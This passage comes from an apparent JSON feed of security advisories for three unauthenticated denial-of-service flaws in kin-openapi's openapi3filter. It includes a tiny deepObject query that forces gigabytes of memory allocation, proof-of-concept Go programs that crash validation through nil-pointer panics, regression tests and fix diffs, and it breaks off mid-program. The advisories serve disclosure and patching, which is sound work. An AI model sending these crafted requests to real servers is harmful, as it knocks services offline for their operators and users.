re-verified in this pass):\n\n```\nquery string: \"param[items][50000000]=x\" (24 bytes)\nheap allocated during ValidateRequest: 6231.1 MiB\nValidateRequest error: parameter \"param\" in query has an error: Error at \"/items\": maximum number of items is 3\n```\n\nA **24-byte query string drove ~6.1 GiB of heap allocation** in a single call, and the returned error is the `maxItems` rejection — proof that the array was fully materialized *before* validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision):\n\n| Query string | Wire size | Heap allocated | Amplification |\n|---|---|---|---|\n| `param[items][10000]=x` | 21 B | 0.9 MiB | ~44,000× |\n| `param[items][100000]=x` | 22 B | 11.1 MiB | ~529,000× |\n| `param[items][1000000]=x` | 23 B | 114 MiB | ~5,200,000× |\n| `param[items][5000000]=x` | 23 B | 555 MiB | ~25,300,000× |\n| `param[items][50000000]=x` | 24 B | **6.1 GiB** | ~272,000,000× |\n\n**Attack request** (nothing else required — no body, no auth, no unusual headers):\n\n```\nGET /whatever?param[items][50000000]=x HTTP/1.1\nHost: victim\n```\n\n**Control (confirms only deepObject is a vector):** repeating the equivalent \"large array\" attempt against `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data` bodies, and non-deepObject `path`/`header`/`cookie` styles stays under ~27 KiB in every case.\n\n**4. Regression/scaling test suite** — a broader harness driving the same public entry point, adding the ordering proof (`TestC02_AllocationBeforeValidation`), the nested-index amplifier, and the cross-encoding controls referenced above. Save as `openapi3filter/zzz_c02_verify_test.go` and run with `C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v` (unset `C02_BIG` to skip the two largest, slower indexes):\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\n// measureAlloc runs fn and reports the number of bytes of heap it caused to be\n// allocated (TotalAlloc delta), which counts even memory that was already freed\n// by the time fn returned. This captures transient allocation spikes.\nfunc measureAlloc(fn func()) uint64 {\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\tfn()\n\truntime.ReadMemStats(\u0026after)\n\treturn after.TotalAlloc - before.TotalAlloc\n}\n\nconst c02Spec = `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /q:\n    get:\n      parameters:\n        - name: param\n          in: query\n          style: deepObject\n          explode: true\n          schema:\n            type: object\n            properties:\n              items:\n                type: array\n                maxItems: 3\n                items: {type: string}\n      responses:\n        '200': {description: ok}\n`\n\nfunc c02Router(t *testing.T) (*openapi3.T, func(rawquery string) error) {\n\tt.Helper()\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(c02Spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvalidate := func(rawquery string) error {\n\t\treq, err := http.NewRequest(http.MethodGet, \"/q?\"+rawquery, nil)\n\t\trequire.NoError(t, err)\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\trequire.NoError(t, err)\n\t\treturn openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest:    req,\n\t\t\tPathParams: pathParams,\n\t\t\tRoute:      route,\n\t\t\tOptions:    \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t}\n\treturn doc, validate\n}\n\n// TestC02_Reproduce_MemoryExhaustion measures the allocation caused by a single\n// tiny deepObject query with a large array index.\nfunc TestC02_Reproduce_MemoryExhaustion(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tbase := measureAlloc(func() {\n\t\t_ = validate(\"param[items][0]=a\u0026param[items][1]=b\u0026param[items][2]=c\")\n\t})\n\tt.Logf(\"baseline (3 legit items): %s allocated\", humanBytes(base))\n\n\tindexes := []int{10_000, 100_000, 1_000_000}\n\tif os.Getenv(\"C02_BIG\") == \"1\" {\n\t\tindexes = append(indexes, 5_000_000, 50_000_000)\n\t}\n\n\tconst fixThreshold = 32 \u003c\u003c 20 // 32 MiB: no fixed-tree request should approach this\n\tworst := uint64(0)\n\tfor _, idx := range indexes {\n\t\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\t\talloc := measureAlloc(func() {\n\t\t\terr := validate(q)\n\t\t\trequire.Error(t, err) // rejected either by the cap (fixed) or maxItems (vuln)\n\t\t})\n\t\tif alloc \u003e worst {\n\t\t\tworst = alloc\n\t\t}\n\t\tratio := float64(alloc) / float64(len(q))\n\t\tt.Logf(\"index=%-10d query=%dB -\u003e %s allocated (%.0fx over the query size)\",\n\t\t\tidx, len(q), humanBytes(alloc), ratio)\n\t}\n\trequire.Less(t, worst, uint64(fixThreshold),\n\t\t\"C-02 REGRESSION: a tiny deepObject query allocated %s; the sliceMapToSlice cap is missing or too high\",\n\t\thumanBytes(worst))\n}\n\n// TestC02_AllocationBeforeValidation checks the ordering: on the vulnerable\n// tree the huge allocation happened even though maxItems:3 is declared, proving\n// materialization precedes schema validation.\nfunc TestC02_AllocationBeforeValidation(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tconst idx = 2_000_000\n\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\n\tvar gotErr error\n\talloc := measureAlloc(func() {\n\t\tgotErr = validate(q)\n\t})\n\trequire.Error(t, gotErr)\n\tt.Logf(\"index=%d (query %d bytes) allocated %s; error: %v\",\n\t\tidx, len(q), humanBytes(alloc), gotErr)\n\n\t// On the vulnerable tree this value was ~225 MiB and this assertion fails,\n\t// flagging the regression. On the fixed tree it stays well under 32 MiB.\n\trequire.Less(t, alloc, uint64(32\u003c\u003c20),\n\t\t\"C-02 REGRESSION: index %d allocated %s before rejection\", idx, humanBytes(alloc))\n}\n\n// TestC02_OnlyDeepObjectAffected proves the blast radius: JSON, multipart, and\n// urlencoded array handling do NOT go through sliceMapToSlice, so an equivalent\n// \"large index\" payload in those encodings does not explode.\nfunc TestC02_OnlyDeepObjectAffected(t *testing.T) {\n\tspec := `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /b:\n    post:\n      requestBody:\n        content:\n          application/json:\n            schema:\n              type: object\n              properties:\n                items: {type: array, maxItems: 3, items: {type: string}}\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                items: {type: array, maxItems: 3, items: {type: string}}\n          multipart/form-data:\n            schema:\n              type: object\n              properties:\n                items: {type: array, maxItems: 3, items: {type: string}}\n      responses:\n        '200': {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tdo := func(ct, body string) (error, uint64) {\n\t\tvar e error\n\t\talloc := measureAlloc(func() {\n\t\t\treq, _ := http.NewRequest(http.MethodPost, \"/b\", strings.NewReader(body))\n\t\t\treq.Header.Set(\"Content-Type\", ct)\n\t\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\t\trequire.NoError(t, rerr)\n\t\t\te = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t})\n\t\t})\n\t\treturn e, alloc\n\t}\n\n\t_, jsonAlloc := do(\"application/json\", `{\"items\":[\"a\",\"b\",\"c\",\"d\"]}`)\n\tt.Logf(\"JSON 4-elem array: %s\", humanBytes(jsonAlloc))\n\trequire.Less(t, jsonAlloc, uint64(4\u003c\u003c20), \"JSON path must not balloon\")\n\n\tform := url.Values{}\n\tform.Set(\"items\", \"a\")\n\tform.Add(\"items\", \"b\")\n\t_, formAlloc := do(\"application/x-www-form-urlencoded\", form.Encode())\n\tt.Logf(\"urlencoded repeated field: %s\", humanBytes(formAlloc))\n\trequire.Less(t, formAlloc, uint64(4\u003c\u003c20), \"urlencoded path must not balloon\")\n\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\trequire.NoError(t, w.WriteField(\"items\", \"a\"))\n\trequire.NoError(t, w.WriteField(\"items\", \"b\"))\n\trequire.NoError(t, w.Close())\n\t_, mpAlloc := do(w.FormDataContentType(), buf.String())\n\tt.Logf(\"multipart fields: %s\", humanBytes(mpAlloc))\n\trequire.Less(t, mpAlloc, uint64(4\u003c\u003c20), \"multipart path must not balloon\")\n}\n\n// TestC02_NonDeepObjectStylesSafe checks the other makeObject entry points\n// (path/simple, header/simple, cookie/form). These build props via\n// propsFromString, whose keys are property names, not bracketed integer\n// indexes -- so a big number lands as a string key that fails strconv.Atoi\n// cleanly, without materializing a giant slice.\nfunc TestC02_NonDeepObjectStylesSafe(t *testing.T) {\n\tspec := `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /p/{param}:\n    get:\n      parameters:\n        - name: param\n          in: path\n          required: true\n          style: simple\n          explode: false\n          schema:\n            type: object\n            properties:\n              items: {type: array, maxItems: 3, items: {type: string}}\n      responses:\n        '200': {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\talloc := measureAlloc(func() {\n\t\treq, _ := http.NewRequest(http.MethodGet, \"/p/items,5000000\", nil)\n\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\trequire.NoError(t, rerr)\n\t\t_ = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\tt.Logf(\"path/simple object with big scalar: %s\", humanBytes(alloc))\n\trequire.Less(t, alloc, uint64(4\u003c\u003c20), \"path/simple must not balloon\")\n}\n\nfunc humanBytes(b uint64) string {\n\tconst unit = 1024\n\tif b \u003c unit {\n\t\treturn fmt.Sprintf(\"%d B\", b)\n\t}\n\tdiv, exp := uint64(unit), 0\n\tfor n := b / unit; n \u003e= unit; n /= unit {\n\t\tdiv *= unit\n\t\texp++\n\t}\n\treturn fmt.Sprintf(\"%.1f %ciB\", float64(b)/float64(div), \"KMGTPE\"[exp])\n}\n```\n\n**Observed output re-run in this pass** (`C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v`):\n\n- **Unpatched tree** (fix reverted via `git stash push -- openapi3filter/req_resp_decoder.go`): `TestC02_Reproduce_MemoryExhaustion` reproduced the full scaling table above (10,000 → 937.5 KiB through 50,000,000 → 6.1 GiB), and `TestC02_AllocationBeforeValidation` measured **225.2 MiB** allocated for `index=2,000,000` before the `maxItems` rejection fired — both matching the standalone PoC's findings and failing their bounded-allocation assertions as expected.\n- **Patched tree** (fix restored): all five tests pass; the worst-case allocation across every index, including 50,000,000, drops to 51.1 KiB, and `TestC02_OnlyDeepObjectAffected` / `TestC02_NonDeepObjectStylesSafe` confirm the other encodings and parameter styles were never affected.\n\n### Impact\n\n- **Type:** Uncontrolled Resource Consumption (CWE-789, Memory Allocation with Excessive Size Value / CWE-400, Uncontrolled Resource Consumption) → **unauthenticated remote denial of service**.\n- **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` to validate requests against a spec that declares an `in: query`, `style: deepObject` parameter whose schema contains an array anywhere in its property graph. This is a normal, documented OpenAPI pattern, not a hostile or unusual spec.\n- **Attack:** a single unauthenticated `GET` request with a small, attacker-chosen query string (as few as ~21–24 bytes). No body, no credentials, no special client tooling, no chunked-encoding or `Content-Length` trickery — the trigger lives entirely in the query string, so request-body size limits do not mitigate it.\n- **Consequence:** a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB–2 GB), producing an OOM kill / restart loop. The declared `maxItems` constraint on the array does **not** prevent this, because materialization happens during decoding, strictly before schema validation runs.\n- **Not affected:** specs that do not use `style: deepObject` for array-bearing query parameters; requests via `application/json`, `x-www-form-urlencoded`, or `multipart/form-data` bodies; and `path`/`header`/`cookie` styled object parameters (all verified empirically above, and re-verified in this pass).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-21T20:56:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-xhj3-7xw9-vr34","https://github.com/getkin/kin-openapi/commit/1223a0f215d2cf9beb2d9eb9ea2649d001c21388","https://github.com/getkin/kin-openapi/releases/tag/v0.142.0","https://github.com/advisories/GHSA-xhj3-7xw9-vr34"],"source_kind":"github","identifiers":["GHSA-xhj3-7xw9-vr34","CVE-2026-77354"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-21T21:00:10.552Z","updated_at":"2026-09-25T12:00:59.991Z","epss_percentage":0.00524,"epss_percentile":0.41926,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aGozLTd4dzktdnIzNM4ABlEg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14aGozLTd4dzktdnIzNM4ABlEg","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.142.0","vulnerable_version_range":"\u003e= 0.124.0, \u003c 0.142.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aGozLTd4dzktdnIzNM4ABlEg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tbWZyLXBtangtaHc5d84ABlEd","url":"https://github.com/advisories/GHSA-mmfr-pmjx-hw9w","title":"kin-openapi openai3filter: nil-pointer panic in ConvertErrors on malformed multipart/form-data body enables unauthenticated DoS","description":"### Summary\n\nA nil-pointer dereference in `openapi3filter.ConvertErrors` lets any unauthenticated client crash a server with a single HTTP request. When an application validates a `multipart/form-data` request body and renders the resulting validation error through the library-provided `ValidationErrorEncoder` / `ConvertErrors` helpers, a malformed scalar form field (e.g. a non-numeric value for an `integer` property) produces an error shape that `convertParseError` dereferences without a nil check. The handler goroutine panics, causing a denial of service. `application/json` request bodies are **not** affected — the bug is specific to `multipart/form-data`.\n\n### Details\n\nThe panic is in `convertParseError`, at [`openapi3filter/validation_error_encoder.go:119-120`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L119) (still present on `master` at the time of writing):\n\n```go\n} else if innerErr.RootCause() != nil {\n    if rootErr, ok := innerErr.Cause.(*ParseError); ok \u0026\u0026\n        rootErr.Kind == KindInvalidFormat \u0026\u0026 e.Parameter.In == \"query\" {   // ❌ e.Parameter may be nil → panic\n```\n\nThe comparison `e.Parameter.In == \"query\"` assumes `e.Parameter` is non-nil. It is reached whenever **both** of the following hold:\n\n1. **`e.Parameter == nil`.** A `*RequestError` carries *either* `Parameter` (parameter errors) *or* `RequestBody` (body errors), never both. `ValidateRequestBody` builds body errors with only `RequestBody` set, leaving `Parameter` nil — see [`validate_request.go:326-332`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validate_request.go#L326).\n2. **`innerErr.Cause` is itself a `*ParseError`** (a `ParseError` nested inside a `ParseError`), so the type assertion on line 119 succeeds and execution reaches the `e.Parameter.In` dereference on line 120.\n\nThe only default code path that satisfies *both* conditions is the **multipart** body decoder, which wraps a failed part's `*ParseError` inside another `*ParseError` at [`req_resp_decoder.go:1549`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L1549) and [`:1558`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L1558):\n\n```go\nif v, ok := err.(*ParseError); ok {\n    return nil, \u0026ParseError{path: []any{name}, Cause: v}   // v is a *ParseError → nested\n}\n```\n\nWhy other paths do **not** reach the dereference:\n\n| Body content type | Failure mode | `RequestError.Err` shape | `.Cause` is `*ParseError`? | `e.Parameter` | Panics? |\n|---|---|---|---|---|---|\n| **`multipart/form-data`** | scalar part fails primitive parse (`age=notanumber`) | `*ParseError` wrapping a `*ParseError` | **yes** | `nil` | **YES** |\n| `application/json` | malformed JSON syntax | `*ParseError` whose `.Cause` is an `encoding/json` error | no (assertion fails → safe fallback branch) | `nil` | no |\n| `application/json` | wrong type / schema violation | `*openapi3.SchemaError` (routed to `convertSchemaError`, never reaches `convertParseError`) | n/a | `nil` | no |\n| styled `query` / `path` params | invalid format | `*ParseError` wrapping a `*ParseError` | yes | **set (non-nil)** | no (guard/assignment succeeds) |\n\nNote that the sibling `\"path\"` branch two lines above ([line 108](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L108)) already guards correctly with `e.Parameter != nil`; the `\"query\"` branch simply omits the same guard.\n\n**Recommended fix.** Add the missing nil guard to the condition:\n\n```diff\n \t\tif rootErr, ok := innerErr.Cause.(*ParseError); ok \u0026\u0026\n-\t\t\trootErr.Kind == KindInvalidFormat \u0026\u0026 e.Parameter.In == \"query\" {\n+\t\t\trootErr.Kind == KindInvalidFormat \u0026\u0026 e.Parameter != nil \u0026\u0026 e.Parameter.In == \"query\" {\n```\n\nWhen `e.Parameter == nil` the inner `if` is skipped and control falls through to the existing `return \u0026ValidationError{Status: http.StatusBadRequest, Title: innerErr.Reason}` at [line 127-130](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L127) — a correct `400 Bad Request`. I verified that applying only this one-line guard stops the panic and returns `*ValidationError{Status: 400}`.\n\nMinor follow-up worth including in the same change: for the multipart nested `*ParseError`, the *outer* `ParseError.Reason` is empty, so the fallback `Title: innerErr.Reason` yields a `400` with an **empty `Title`**. The descriptive text lives in `innerErr.Error()` (e.g. `\"path age: value notanumber: an invalid integer: invalid syntax\"`). Prefer a non-empty fallback:\n\n```go\ntitle := innerErr.Reason\nif title == \"\" {\n    title = innerErr.Error()\n}\nreturn \u0026ValidationError{Status: http.StatusBadRequest, Title: title}\n```\n\n### PoC\n\nVerified against revision `98d956447b64eaa10d3570a80b3be1a2849945f1` (also reproducible on current `master`), Go 1.25.0.\n\n**1. Spec** — one operation accepting a `multipart/form-data` body with a non-string scalar (`integer`) property:\n\n```yaml\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /upload:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              properties:\n                age: {type: integer}\n      responses:\n        '200': {description: ok}\n```\n\n**2. Program** — validate a request whose `age` part is non-numeric, then convert the error the way a typical error-rendering middleware does:\n\n```go\npackage main\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /upload:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              properties:\n                age: {type: integer}\n      responses:\n        '200': {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, _ := loader.LoadFromData([]byte(spec))\n\t_ = doc.Validate(loader.Context)\n\trouter, _ := gorillamux.NewRouter(doc)\n\n\t// multipart body: a non-numeric value for the integer property \"age\"\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\t_ = w.WriteField(\"age\", \"notanumber\")\n\tw.Close()\n\n\tr, _ := http.NewRequest(http.MethodPost, \"/upload\", \u0026buf)\n\tr.Header.Set(\"Content-Type\", w.FormDataContentType())\n\troute, pp, _ := router.FindRoute(r)\n\n\treqErr := openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\tRequest: r, PathParams: pp, Route: route,\n\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t})\n\tfmt.Printf(\"ValidateRequest returned: %T\\n\", reqErr) // *openapi3filter.RequestError\n\n\t// What an application's error-rendering middleware calls:\n\t_ = openapi3filter.ConvertErrors(reqErr) // panics\n\tfmt.Println(\"no panic (unexpected)\")\n}\n```\n\n**3. Observed output** (`go run .`):\n\n```\nValidateRequest returned: *openapi3filter.RequestError\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x2 addr=0x20 pc=0x...]\n\ngoroutine 1 [running]:\ngithub.com/getkin/kin-openapi/openapi3filter.convertParseError(...)\n\t.../openapi3filter/validation_error_encoder.go:120 +0x17c\ngithub.com/getkin/kin-openapi/openapi3filter.ConvertErrors(...)\n\t.../openapi3filter/validation_error_encoder.go:42 +0xec\nmain.main()\n\t...\nexit status 2\n```\n\nThe panic is at exactly `validation_error_encoder.go:120` — the unguarded `e.Parameter.In` dereference.\n\n**Control (confirms JSON is not a vector):** repeating the setup with an `application/json` body and either a malformed body (`{\"age\": `) or a wrong-type body (`{\"age\": \"notanumber\"}`) returns from `ConvertErrors` normally, with no panic. Only the `multipart/form-data` path crashes.\n\nIn a real HTTP server, `ConvertErrors` / `ValidationErrorEncoder.Encode` runs inside the request handler, so the panic aborts the in-flight request (connection reset / 500) and, without a `recover()` in the middleware chain, is trivially repeatable.\n\n### Impact\n\n- **Type:** Nil-pointer dereference → **unauthenticated remote denial of service**.\n- **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` that (1) exposes an endpoint accepting a `multipart/form-data` request body with at least one non-string scalar property (`integer` / `number` / `boolean`), **and** (2) renders validation errors through the library's own `ValidationErrorEncoder` or `ConvertErrors` helpers. These are the library's advertised error-rendering helpers, so this is a realistic default integration.\n- **Attack:** a single crafted, unauthenticated request (a multipart part whose value doesn't parse to the declared scalar type). No credentials, special privileges, or unusual client capabilities are required, and it is repeatable at will.\n- **Consequence:** the handling goroutine panics. Absent a `recover()` boundary in the application's middleware, the request is aborted; sustained requests deny service. Confidentiality and integrity are not affected.\n- **Not affected:** applications that only accept `application/json` bodies (verified above), applications that do not use `ConvertErrors` / `ValidationErrorEncoder` to format errors, or applications that wrap handlers in a `recover()` (which converts the crash into a handled 500 but still prevents normal error rendering).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-21T20:55:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/getkin/kin-openapi/security/advisories/GHSA-mmfr-pmjx-hw9w","https://github.com/getkin/kin-openapi/commit/1d0a337c9b1570fab283be8a04c8af6e43b9a22c","https://github.com/getkin/kin-openapi/releases/tag/v0.141.0","https://github.com/advisories/GHSA-mmfr-pmjx-hw9w"],"source_kind":"github","identifiers":["GHSA-mmfr-pmjx-hw9w","CVE-2026-76905"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-21T21:00:10.552Z","updated_at":"2026-09-25T12:00:59.992Z","epss_percentage":0.00609,"epss_percentile":0.46855,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbWZyLXBtangtaHc5d84ABlEd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tbWZyLXBtangtaHc5d84ABlEd","packages":[{"ecosystem":"go","package_name":"github.com/getkin/kin-openapi","versions":[{"first_patched_version":"0.141.0","vulnerable_version_range":"\u003e= 0.10.0, \u003c 0.141.0"}],"purl":"pkg:go/github.com%2Fgetkin%2Fkin-openapi"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbWZyLXBtangtaHc5d84ABlEd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qcGN3LTR3cjctYzN2cc4ABfto","url":"https://github.com/advisories/GHSA-jpcw-4wr7-c3vq","title":"kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a `content` parameter whose media type has no schema","description":"| Field | Value |\n|---|---|\n| Ecosystem | Go |\n| Package | `github.com/getkin/kin-openapi` |\n| Affected versions | `\u003c= 0.143.0` (introduced in `v0.2.0`, PR #90, 2019-05-07; reproduced on `HEAD` `30e2923`) |\n| Patched versions | 0.144.0 |\n---\n\n### Summary\n\n`openapi3filter.ValidateRequest` contains a NULL-pointer-dereference denial of service: any **unauthenticated** client can crash the request-validation path with a **single** HTTP request. When an operation declares a `content` parameter (as opposed to a `schema` parameter) whose media type object has **no `schema`**, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification — kin-openapi's own `doc.Validate()` accepts it — and the defect affects **both OpenAPI 3.0.x and 3.1.x**. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash.\n\n### Details\n\nThe decoder used for `content` parameters when no custom `ParamDecoder` is configured (the library default), `defaultContentParameterDecoder`, dereferences the media-type schema without a nil check.\n\n`openapi3filter/req_resp_decoder.go`, around line 197:\n\n```go\nmt := content.Get(\"application/json\")\nif mt == nil {                       // media-type OBJECT is guarded ...\n    err = fmt.Errorf(\"parameter %q has no content schema\", param.Name)\n    return\n}\noutSchema = mt.Schema.Value          // ... but mt.Schema is NOT — panics when nil\n```\n\nThe function guards `param.Content == nil`, `len(content) != 1`, and `mt == nil`, but never `mt.Schema == nil`.\n\n**Why a schema-less content parameter is legal** (so the sink is reachable — `doc.Validate()` returns no error), in both 3.0.x and 3.1.x:\n\n- `openapi3/parameter.go` — `Parameter.Validate` only enforces *exactly one of `schema` XOR `content`*; a parameter with `content` (and no `schema`) satisfies it.\n- `openapi3/media_type.go` — `MediaType.Validate` validates the schema **only when it is non-nil**, so an absent schema is not a validation error.\n\n**Call path to the panic:**\n\n```\nValidateRequest                          openapi3filter/validate_request.go:83\n  └─ ValidateParameter                   openapi3filter/validate_request.go:177   (parameter.Content != nil)\n       └─ decodeContentParameter         openapi3filter/req_resp_decoder.go:166   (attacker supplies value ⇒ found)\n            └─ defaultContentParameterDecoder   openapi3filter/req_resp_decoder.go:197   ← nil deref / panic\n```\n\n**Authentication note:** `ValidateRequest` validates security *before* parameters, but the panic is reachable **without credentials** whenever the target operation declares no security requirement, or when no `AuthenticationFunc` is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation *does* declare security and a rejecting `AuthenticationFunc` is wired, that request is rejected before decoding.\n\n### PoC\n\nReproduced end-to-end against `HEAD` (`30e2923`) with a real `net/http` server and a stock `http.Client`.\n\n**1. Minimal OpenAPI 3.0.3 document** (legal — `doc.Validate()` passes). The `cfg` query parameter uses `content` with an `application/json` media type that has **no `schema`**:\n\n```yaml\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n  /c:\n    get:\n      parameters:\n        - name: cfg\n          in: query\n          content:\n            application/json: {}      # media type object with NO schema\n      responses:\n        \"200\": {description: ok}\n```\n\n**2. A complete, self-contained program.** Drop this into a directory inside a checkout of `github.com/getkin/kin-openapi` and run it with `go run .`. It loads the document above, asserts `doc.Validate()` accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated `GET /c?cfg=1`:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n  /c:\n    get:\n      parameters:\n        - name: cfg\n          in: query\n          content:\n            application/json: {}      # media type object with NO schema\n      responses:\n        \"200\": {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// Reachability: the malformed-but-legal document must validate.\n\tif err := doc.Validate(context.Background()); err != nil {\n\t\tpanic(\"doc.Validate rejected the spec, not reachable: \" + err.Error())\n\t}\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Handler mirrors openapi3filter.ValidationHandler: find route, validate.\n\th := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\t// Panics here on the crafted request (req_resp_decoder.go:197).\n\t\tif err := openapi3filter.ValidateRequest(r.Context(), \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest:    r,\n\t\t\tPathParams: pathParams,\n\t\t\tRoute:      route,\n\t\t\tOptions:    \u0026openapi3filter.Options{AuthenticationFunc: 